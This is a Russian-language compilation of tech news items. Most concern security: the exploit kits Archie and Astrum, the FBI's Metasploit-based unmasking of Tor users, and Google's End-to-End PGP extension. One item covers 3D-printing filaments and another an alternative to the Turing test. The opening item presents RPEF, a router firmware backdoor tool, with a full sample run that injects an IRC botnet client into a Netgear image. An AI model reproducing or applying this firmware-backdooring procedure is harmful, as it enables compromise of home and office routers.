Сетевые устройства и маршрутизаторы лучше всего подходят для проведения атак, потому что их можно поставлять с бэкдором «из коробки», а антивирусы не определяют вредоносный кода в прошивке.
Приложение/скрипт RPEF (Router Post-Exploitation Framework) на языке программирования Python — удобное средство для внедрения бэкдора или трояна в прошивку. Использовать программу очень просто, вот основная команда:
Утилиту впервые показали на хакерской конференции Defcon в августе этого года. Она поддерживает работу с распространёнными домашними и офисными маршрутизаторами производства Netgear, Linksys, D-Link и Belkin.
В поражённой прошивке с бэкдором хорошо сочетаются сетевой снифер и клиент ботнета.
Программу RPEF можно использовать для предупреждения уязвимых пользователей, проверки их готовности определить источник атаки и устранить его.
Пример использования
$ ./rpef.py WGR614v9-V1.2.30_41.0.44NA.chk WGR614v9-V1.2.30_41.0.44NA_botnet.chk botnet -v
[+] Verifying checksum
Calculated checksum: 767c962037b32a5e800c3ff94a45e85e
Matched target: NETGEAR WGR614v9 1.2.30NA (Verified)
[+] Extracting parts from firmware image
Step 1: Extract WGR614v9-V1.2.30_41.0.44NA.chk, Offset 58, Size 456708 -> /tmp/tmpOaw1tn/headerkernel.bin
Step 2: Extract WGR614v9-V1.2.30_41.0.44NA.chk, Offset 456766, Size 1476831 -> /tmp/tmpOaw1tn/filesystem.bin
[+] Unpacking filesystem
Step 1: unsquashfs-1.0 /tmp/tmpOaw1tn/filesystem.bin -> /tmp/tmpOaw1tn/extracted_fs
Executing: utilities/unsquashfs-1.0 -dest /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/filesystem.bin
created 217 files
created 27 directories
created 48 symlinks
created 0 devices
created 0 fifos
[+] Inserting payload
Step 1: Rm /tmp/tmpOaw1tn/extracted_fs/lib/modules/2.4.20/kernel/net/ipv4/opendns/openDNS_hijack.o
Step 2: Copy rules/NETGEAR/WGR614v9_1.2.30NA/payloads/botnet /tmp/tmpOaw1tn/extracted_fs/usr/sbin/botnet
Step 3: Move /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd.bak
Step 4: Touch /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
Step 5: Appendtext "#!/bin/msh
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
[+] INPUT REQUIRED, IP address of IRC server: 1.2.3.4
[+] INPUT REQUIRED, Port of IRC server: 6667
[+] INPUT REQUIRED, Channel to join (include #): #hax
[+] INPUT REQUIRED, Prefix of bot nick: toteawesome
Step 6: Appendtext "/usr/sbin/botnet 1.2.3.4 6667 \#hax toteawesome &
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
Step 7: Appendtext "/usr/sbin/httpd.bak
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
Step 8: Chmod 777 /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
[+] Building filesystem
Step 1: mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs, Blocksize 65536, Little endian -> /tmp/tmpOaw1tn/newfs.bin
Executing: utilities/mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/newfs.bin -b 65536 -root-owned -le
Creating little endian 2.1 filesystem on /tmp/tmpOaw1tn/newfs.bin, block size 65536.
Little endian filesystem, data block size 65536, compressed data, compressed metadata, compressed fragments
Filesystem size 1442.99 Kbytes (1.41 Mbytes)
29.38% of uncompressed filesystem size (4912.18 Kbytes)
Inode table size 2245 bytes (2.19 Kbytes)
33.63% of uncompressed inode table size (6675 bytes)
Directory table size 2322 bytes (2.27 Kbytes)
55.26% of uncompressed directory table size (4202 bytes)
Number of duplicate files found 3
Number of inodes 293
Number of files 218
Number of fragments 22
Number of symbolic links 48
Number of device nodes 0
Number of fifo nodes 0
Number of socket nodes 0
Number of directories 27
Number of uids 1
root (0)
Number of gids 0
[+] Gluing parts together
Step 1: Touch WGR614v9-V1.2.30_41.0.44NA_botnet.chk
Step 2: Appendfile /tmp/tmpOaw1tn/headerkernel.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk
Step 3: Appendfile /tmp/tmpOaw1tn/newfs.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk
[+] Padding image with null bytes
Step 1: Pad WGR614v9-V1.2.30_41.0.44NA_botnet.chk to size 1937408 with 0 (0x00)
[+] Generating CHK header
Step 1: packet WGR614v9-V1.2.30_41.0.44NA_botnet.chk rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h
Executing: utilities/packet -k WGR614v9-V1.2.30_41.0.44NA_botnet.chk -b rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt -i rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h
[+] Removing temporary files
Step 1: Rmdir /tmp/tmpOaw1tn/
Наборы эксплоитов (эксплоит-паки) остаются основным средством распространения вредоносных программ. В этом году в ряду эксплоит-паков произошло пополнение, появились новички. Антивирусная компания F-Secure рассказывает о двух из них: Archie и Astrum.
Телеметрия показывает, что набор эксплоитов Archie вышел на рынок в начале июля и с тех пор остаётся активным. В августе специалисты проанализировали его и выяснили, что он использует эксплоит-модули, скопированные из Metasploit Framework.
На графике показано, какие конкретно уязвимости добавляли авторы в набор Archie с течением времени.
Archie постепенно эволюционировал. В последних версиях появилась проверка на антивирусы и VMware перед заражением. Реализовано шифрование URL’ов и названий файлов.
Ниже приведён список IP-адресов, откуда происходила загрузка набора эксплоитов.
Ещё один новый представитель в семействе эксплоит-паков — это Astrum, который впервые заметили в сентябре 2014 года.
На графике показано, какие уязвимости добавлены в набор Astrum.
В отличие от конкурента, Astrum использует сильную обфускацию целевой страницы. Astrum проверяет компьютер на наличие различных антивирусов и программ виртуализации, и даже на плагин от «Касперского».
Кроме Archie и Astrum, компания F-Secure перечисляет и другие наборы эксплоитов, которые появились в этом году: Rig, Null Hole и Niteris (CottonCastle). Одновременно растёт активность эксплоит-паков Angler, Nuclear, Neutrino, FlashEK, Fiesta, SweetOrange и др.
Компания Proto-pasta, которая специализируется на производстве расходных материалов для 3D-принтеров, изобрела два новых экзотичных материала, принципиально расширяющих ассортимент деталей для 3D-печати в домашних условиях.
Первый из материалов — нержавеющая сталь Stanless Steel PLA, её можно отполировать или зачистить до красивого металлического блеска.
Второй материал — абсолютно уникальный Magnetic Iron PLA, то есть железо с магнитными свойствами. После того, как деталь соприкасается с воздухом какое-то время, то покрывается слоем ржавчины, как настоящая вещь.
А ведь всего два-три года назад мы могли печатать всего двумя видами пластика — ABS и PLA. Теперь на недорогом настольном принтере доступны различные альтернативные материалы, в том числе металлы.
Компания Proto-pasta недавно провела художественный конкурс на модели, напечатанные металлом. Победители стали первыми, кто получил новый материал в своё распоряжение.
Профессор Марк Ридл (Mark Riedl) из технологического института Джорджии предложил альтернативу знаменитому тесту Тьюринга, который определяет наличие интеллекта у компьютера. Вместо способности поддерживать разумную беседу он предлагает проверять машину на креативность.
В 1950 году Алан Тьюринг опубликовал статью, в которой предположил, что однажды компьютер сможет выдать себя за человека, разумно отвечая на серию вопросов. Тьюринг не установил никаких ограничений по времени, но с тех пор исследователи неоднократно пытались создать чат-ботов, соответствующих заданным критериям.
Марк Ридл считает, что различные «тесты Тьюринга» действительно решают проблему, поскольку создаваемые системы обладают довольно узким набором характеристик, поэтому их нельзя принимать за настоящий Искусственный интеллект.
Вместо этого, Ридл возродил к жизни идею 2001 года: так называемый «экзамен Ады Лавлейс», названный в честь английского математика, графини Лавлейс, которая создала описание вычислительной машины Бэббиджа и написала первую в мире программу для этой машины. Она считается первым программистом в истории человечества.
Марк Ридл доработал условия экзамена с объективной оценкой результата. Согласно описанию, компьютер должен создать произведение искусства (картину или литературное произведение), которое соответствует заранее заданным критериям. Среди критериев может быть описание персонажа с определёнными характеристиками или описание сюжета. При этом судьи не должны оценивать художественную/эстетическую ценность произведения, а только соответствие заданным критериям.
Научная работа Ридла будет представлена на конференции Beyond the Turing Test, которая пройдёт 25-29 января 2015 года в Остине (Техас).
Более десяти лет мощный фреймворк Metasploit исправно служил пентестерам и помогал искать уязвимости и запускать эксплоиты из богатого набора. Этот универсальный инструмент, словно швейцарский нож, использовался для самых разнообразных задач. Им пользовались хакеры всех мастей. Оказывается, не только они.
Как выяснилось, среди пользователей Metasploit было и ФБР. С помощью flash-приложения из параллельного Metasploit-проекта под названием Decloaking Engine им удалось успешно деанонимизировать многих пользователей сети Tor.
Так называемая операция «Торпеда» (Operation Torpedo) имела место в 2012 году и проводилась против пользователей сайтов с детским порно в скрытой сети. В рамках одного из судебных процессов, который продолжается до сих пор, всплыли подробности хакерского софта, применявшегося ФБР. Адвокаты потерпевшего считают, что добытые таким способом улики не соответствуют судебным стандартам и должны быть аннулированы.
Автор Metasploit, известный хакер HD Moore, запустил проект Decloaking Engine в 2006 году как proof-of-concept. Несколько эксплоитов служили для деанонимизации пользователей, допустивших ошибки в настройке системы.
Среди используемых «трюков» была flash-программа из 35 строчек. Она использовала тот факт, что плагин Flash устанавливал прямое соединение в обход Tor и выдавая IP-адрес пользователя. Проблема известна с 2006 года и администрация Tor предупреждает пользователей, чтобы они не устанавливали Flash.
К тому же, уязвимость сводится к нулю для тех, кто устанавливает «защищённый от дурака» клиент Tor Browser Bundle. К 2011 году HD Moore признал, что дальнейшая разработка Decloaking Engine не имеет смысла, потому что все посетители сайта проходили тест на анонимность. Тем не менее, ФБР считало иначе.
Получив контроль над тремя сайтами с детским порно, ФБР установило эту flash-программу и сумело выяснить IP-адреса некоторых посетителей. В частности, было идентифицировано 25 пользователей из США и неназванное количество из-за границы.
Судя по всему, это первый случай, когда ФБР использует подобные программы против всех посетителей сайта, а не против конкретного подозреваемого.
Есть свидетельства, что после 2012 года тактика ФБР по деанонимизации пользователей Tor была значительно усовершенствована. Вместо упомянутой flash-программы применялись более качественные эксплоиты, в том числе использующие свежие уязвимости в браузере Firefox.
Компания Google достигла определённого прогресса в разработке «дружественной» криптографической программы End-to-End для шифрования электронной почты по PGP. Сейчас стало известно, что помощь в разработке программы оказывает Yahoo. Тем временем, код расширения выложен на Github.
Разработка программы, расширения для браузера Chrome, началась в апреле 2014 года. В июне был опубликован исходный код End-to-End. Программа пока находится в стадии альфа-тестирования и ещё не готова для публикации в Chrome Web Store. Пока не удалось решить проблемы с надёжным и удобным управлением ключами.
Для End-to-End пришлось разработать собственную версию криптографической библиотеки JavaScript. Библиотека поддерживает эллиптические кривые, модульную арифметику и BigInteger, симметричное и асимметричное шифрование, а поверх неё работает реализация OpenPGP. Приватные ключи хранятся в защищённой «песочнице» в участке оперативной памяти, который Chrome изолирует от всех остальных задач. При записи ключей в localStorage они предварительно шифруются.
В последнюю версию End-to-End добавлен код, написанный Алексом Стамосом (Alex Stamos), директором по безопасности Yahoo, и другими сотрудниками отдела безопасности Yahoo.
Добавлена новая документация в wiki проекта, чтобы разработчикам и специалистам по безопасности было проще разобраться, как конкретно здесь реализована модель шифрования.
Уже выплачены и первые вознаграждения по программе Vulnerability Rewards за нахождение уязвимостей в расширении End-to-End. В то же время разработчики подчёркивают, что сама криптобиблиотека не вызывает особых нареканий: для неё подано очень мало баг-репортов и она уже используется в некоторых сторонних проектах.
Не секрет, что включив опцию шифрования для пользователей, Google автоматически лишится части доходов от таргетированной рекламы, так что компания сознательно идёт на убытки ради повышения лояльности аудитории. Впрочем, убытки будут небольшими. Опыт показывает, что такого рода расширения устанавливает ничтожно малая часть аудитории.